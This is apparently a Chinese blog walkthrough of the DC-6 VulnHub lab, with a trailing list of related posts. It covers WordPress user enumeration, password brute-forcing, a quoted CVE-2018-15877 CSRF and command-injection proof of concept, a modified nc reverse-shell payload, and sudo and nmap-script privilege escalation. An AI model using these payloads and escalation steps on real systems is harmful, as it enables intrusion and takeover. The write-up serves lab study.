DC-6 渗透测试

冲冲冲,好好学习 。 收获总结写在文末。

操作机:kali 172.66.66.129

靶机:DC-4 172.66.66.136

网络模式:NAT

上来一波 netdiscover

靶机ip 172.66.66.136

nmap -sV -A -p- 172.66.66.136 -oN /tmp/dc-6.nmap

开了22 80,dirb http://wordy/

80访问不了,需要配置域名解析 ,windows下 在C:\Windows\System32\drivers\etc

kali里改一下/etc/hosts ,加一行 172.66.66.136 wordy



多么亲切的cms--WordPress ,wpscan 用一下可以枚举用户名,cewl收集密码(看一下网站的内容就知道这收集的密码可能不靠谱)

cewl http://wordy/ -w /tmp/dc-6.txt收集密码

wpscan --url http://wordy/ -e u 枚举用户

admin 、mark 、graham 、jens 、sarah5个账号 名

用户密码爆破

wpscan --url http://wordy/ -e u -P /tmp/dc-6.txt

失败,欺负我没字典?还记得kali里的密码集在那个目录吗? /usr/share/wordlists 找个字典用一下。rockyou.txt.gz 解压这个出来用

论字典的重要性...看了下官方给的提示

最终密码里会有k01字符,把包含该字段的密码分离出来。

账号密码mark : helpdesk01

可能有疑问:我怎么知道它哪有漏洞可以用呢?

不知道就去找呗,看到啥都百度一下 XXX poc,总能找到。

5.1.1版本没有能用的。看到用了插件 activity monitor

searchsploit activity monitor 看到了45274.html

<!--
About:
===========
Component: Plainview Activity Monitor (Wordpress plugin)
Vulnerable version: 20161228 and possibly prior
Fixed version: 20180826
CVE-ID: CVE-2018-15877
CWE-ID: CWE-78
Author:
- LydA(c)ric Lefebvre (https://www.linkedin.com/in/lydericlefebvre) Timeline:
===========
- 2018/08/25: Vulnerability found
- 2018/08/25: CVE-ID request
- 2018/08/26: Reported to developer
- 2018/08/26: Fixed version
- 2018/08/26: Advisory published on GitHub
- 2018/08/26: Advisory sent to bugtraq mailing list Description:
===========
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link. References:
===========
https://github.com/aas-n/CVE/blob/master/CVE-2018-15877/ PoC:
--> <html>
<!-- Wordpress Plainview Activity Monitor RCE
[+] Version: 20161228 and possibly prior
[+] Description: Combine OS Commanding and CSRF to get reverse shell
[+] Author: LydA(c)ric LEFEBVRE
[+] CVE-ID: CVE-2018-15877
[+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
[+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
-->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

构造一个请求,让给出的poc是拿到一个反弹shell。这个html需要想办法经过服务器解析之后执行才能生效。kali里开一下服务器执行行就可以了。

python -m SimpleHTTPServer 9898

发现执行出错了,“收到无效的客户端请求:请求的第一行不包含绝对URL-尝试启用不可见的代理支持。”

burp抓包改包。

前面需要写入一个可访问的地址,再拼接 命令

这就可以反弹shell了。

改成 www.baidu.com | nc 172.66.66.129 8888 -e /bin/bash

交互shell python -c 'import pty;pty.spawn("/bin/bash")'

cd 到home目录下找找东西,在mark/stuff发现

graham:GSo7isUM1D4噢~ 我下意识想到的是 su graham 阿哲....

速问速答:su 切换用户 与 ssh登录的用户,使用上有啥区别?

其实也就是su切换之后那些PATH,MAIL,PWD等的值 的问题,su切换之后,这些值也还是切换前的用户的,su切换之后,可以输入exit退回之前的登录用户。

ssh就是很正常的一种用户登录。

ssh graham@172.66.66.136

可以发现 backups.sh的权限很高,当前账号在所属组里,可往里追加写:

echo '/bin/bash' >> backups.sh

sudo -u jens /home/jens/backups.sh

成功切换到了jens,报错是 tar默认相对路径,所以提示去除 / 符号

sudo -l

先看看nmap的版本 nmap -v 7.4的版本,比较新,无法实现直接 nmap> 命令行那种交互(旧版本的nmap 2.02至5.21)nmap --interactive可见无此参数

不过可以把 /bin/bash 写进脚本里,通过nmap的--script参数执行脚本。

echo 'os.execute("/bin/bash")'>get_shell.nse

sudo nmap --script=/home/jens/get_shell.nse

okk

最后

做了这么些靶机,感觉答题流程都一样,差别在细节,本靶心得:

  1. history.pushState( )这是一个非常神奇的javascript方法,让页面无刷新增添浏览器历史记录。

    语法 history.pushState(state, title, url)

    URL — 这个参数提供了新历史纪录的地址。请注意,浏览器在调用pushState()方法后不会去加载这个URL,但有可能在之后会这样做,比如用户重启浏览器之后。新的URL不一定要是绝对地址,如果它是相对的,它一定是相对于当前的URL。新URL必须和当前URL在同一个源下;否则,pushState() 将丢出异常。这个参数可选,如果它没有被特别标注,会被设置为文档的当前URL。

  2. nc的 -l 选项

    用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server侦听并接受连接,而非向其它地址发起连接。所以 -l 参数 与ip地址不能同时出现。

    这是错的nc -nlvp 172.66.66.129 8888 -e /bin/bash 这是错的

  3. 用户家目录下这四个隐藏文件解读:.bash_history .bash_logout .bashrc .profile

    .bash_history 记录这个用户执行过的命令(当用户退出时写入)
    .bash_profile 保存用户搜索的命令的路径
    .bash_logout 当用户退出时执行的命令
    .bashrc 保存自定义的命令别名
    /etc/bashrc 全局所有用户保存自定命令别名
    /etc/profile 全局所有用户载入的系统的环境
    读取顺序如下:
    /etc/profile
    /etc/bashrc
    ~/.bashrc
    ~/.bash_profile
  4. nmap 提权。使用--script参数执行提权脚本。写绝对路径上去。

  5. os.execute ([command])这是lua中的一个函数,相当于C语言里的 system(),这个函数解析command再通过系统调用解析的结果,会返回一个依赖于操作系统的状态码。

    Lua的os.execute ("pause") 等价于c语言:system("pause")含义是:发起系统调用来执行命令pasue

  6. 回忆一下这个:

    命令 > 文件覆盖的方式,把命令的正确输出输出到指定的文件或设备当中。

    命令 >> 文件追加的方式,把命令的正确输出输出到指定的文件或设备当中。

  7. nmap的脚本是以.nse结尾的

DC-6 靶机渗透测试的更多相关文章

  1. DC-1 靶机渗透测试

    DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...

  2. DC-5 靶机渗透测试

    DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...

  3. DC-2 靶机渗透测试

    DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...

  4. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  5. DC-7 靶机渗透测试

    DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...

  6. DC-8 靶机渗透测试

    DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...

  7. DC-4 靶机渗透测试

    DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...

  8. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  9. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

随机推荐

  1. 『心善渊』Selenium3.0基础 — 9、使用Seleniun中的By类定位元素

    目录 1.使用By定位的前提 2.By定位的方法 3.By定位的使用 4.复数形式的示例 我们还可以通过Seleniun测试框架中的By类,来实现页面中的元素定位. 1.使用By定位的前提 需要导入B ...

  2. 『动善时』JMeter基础 — 50、使用JMeter测试WebService接口

    目录 1.什么是WebService 2.WebService和SOAP的关系 3.什么是WSDL 4.测试WebService接口前的准备 (1)如何判断是WebService接口 (2)如何获取W ...

  3. 41、解决du与df统计不一致的解决方法

    41.1.案例说明: 通过df -hT和du -sh /.du -h --max-depth=1 /命令 发现磁盘的使用不量不一致,使用'df -hT'命令查看磁盘的使用量要 比使用'du -sh / ...

  4. 49、django工程(cookie+session)

    49.1.介绍: 1.cookie不属于http协议范围,由于http协议无法保持状态,但实际情况,我们却又需要"保持状态",因此cookie就是在这样一个场景下诞生. cooki ...

  5. 如何获取微信小程序for循环的index

    在微信小程序开发中,对于wx:for,可以使用wx:for-index="index"来获取数组中的元素的索引值(下标). <view class="item&qu ...

  6. centos 安装启动配置Jenkins

    一.Jenkins的安装 1.前提条件:已经成功安装了OPENJDK,因为jenkins是一款基于Java的持续集成工具. 安装OPENJDK的链接请参见我的另一篇博客: 安装连接:https://w ...

  7. SonarQube插件

    关于插件我本身使用不多,如果看不惯英文界面,那么就先装个中文插件吧. 或者上微软的官方网站进行下载 将下载的插件上传到自己的sonarqube的服务的机器上,放置插件目录下,重启sonarqube即可 ...

  8. python之struct详解

    python之struct详解 2018-05-23 18:20:29 醉小义 阅读数 20115更多 分类专栏: python   版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议 ...

  9. Redis和Memcached到底有什么区别?

    前言 我们都知道,Redis和Memcached都是内存数据库,它们的访问速度非常之快.但我们在开发过程中,这两个内存数据库,我们到底要如何选择呢?它们的优劣都有哪些?为什么现在看Redis要比Mem ...

  10. DHCP与配置命令

    1. DHCP简介 2. DHCP主要用途 3. 使用DHCP的好处 4.DHCP经典应用模式 5.DHCP交互过程 DHCP的IP地址自动获取工作原理 6.DHCP中继    应用场景   工作原理 ...